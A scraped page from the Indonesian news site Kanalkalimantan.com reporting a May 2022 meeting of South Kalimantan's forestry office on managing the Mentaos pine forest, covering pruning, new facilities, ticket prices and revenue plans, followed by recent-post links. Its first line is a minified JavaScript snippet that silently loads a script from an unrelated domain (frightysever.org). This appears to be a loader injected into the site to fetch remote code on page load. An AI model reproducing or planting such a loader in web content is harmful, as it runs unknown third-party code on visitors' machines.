(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Rapat Lanjutan Pengelolaan Hutan Pinus, Dishut Kalsel Fokus Olah Kawasan Kreasi


KANALKALIMANTAN.COM, BANJARBARU – Dishut (Dinas Kehutanan) Kalsel melaksanakan rapat lanjutan terkait pengelolaan Hutan Pinus Mentaos. Rapat tersebut dilaksanakan di aula Rimbawan 1 kantor Dishut Kalsel dengan tetap menerapkan protokol kesehatan, Senin (23/5/2022).

Rapat dibuka langsung oleh Kadishut Kalsel Fathimatuzzahra diihadiri Esselon 3 dan 4 Dishut, serta UPT Tahura Sultan Adam.

“Rapat kali ini mengenai lanjutan rapat kemarin, terkait rencana pengelolaan di hutan Pinus Mentaos, dalam hal ini nanti bisa disampaikan kritik dan sarannya agar kita semua menemukan kesepahaman bersama dalam pengelolaan di hutan pinus,” kata Fathimatuzzahra

Fathimatuzzahra menambahkan terkait penambahan sarpras dan kegiatan pembersihan/pruning agar hutan pinus semakin indah dan tidak lagi terlihat gelap karena terlalu banyak pepohonan.

 

Dishut Provinsi Kalsel menggelar rapat lanjutan pengelolaan Hutan Pinus Mentaos. Foto: dishutkalsel

Baca juga : Prioritas Produk Dalam Negeri, Banjarbaru Peringkat Tertinggi di Kalsel RUP Tervalidasi

“Kita rencanannya akan membangun pandopo rakyat di sekitar hutan pinus, kemudian pembersihan agar di hutan pinus tidak terlihat gelap karena terlalu banyak pepohonan, seperti jenis pohon belinjo, nantinya akan kita rapikan agar lebih terlihat indah. Selain itu kita nantinya akan memberikan penambahan tanaman jenis ulin di areal-areal tertentu,” ucap Fathimatuzzahra.

Seluruh peserta dalam rapat tersebut juga menyutujui hasil kesepakatan terkait langkah-langkah pemanfaatan Hutan Pinus Mentaos yang diantaranya;

1.Inventarisir potensi pendapatan (pra wedding, karcis masuk, fasilitas sarpras, foto both, out bound, caffe)

2.Tarif tiket masuk/retribusi hutan pinus untuk dewasa Rp 5.000, untuk anak-anak Rp3.000, untuk rombongan dewasa Rp 3.000, dan untuk rombongan anak-anak Rp 2.000.

3. Koordinasi ke Biro Hukum dan Biro Ekonomi.

Secara panjang lebar rapat tersebut dilakukan untuk menemukan kesepahaman terkait pengelolaan-pengelolaan yang akan dilakukan di hutan pinus tersebut agar Hutan Pinus Mentaos bisa sebagai kawasan rekreasi, maupun alternatif destinasi wisata yang murah dan mudah dijangkau bagi warga. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

15 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

17 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

17 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

22 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

23 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.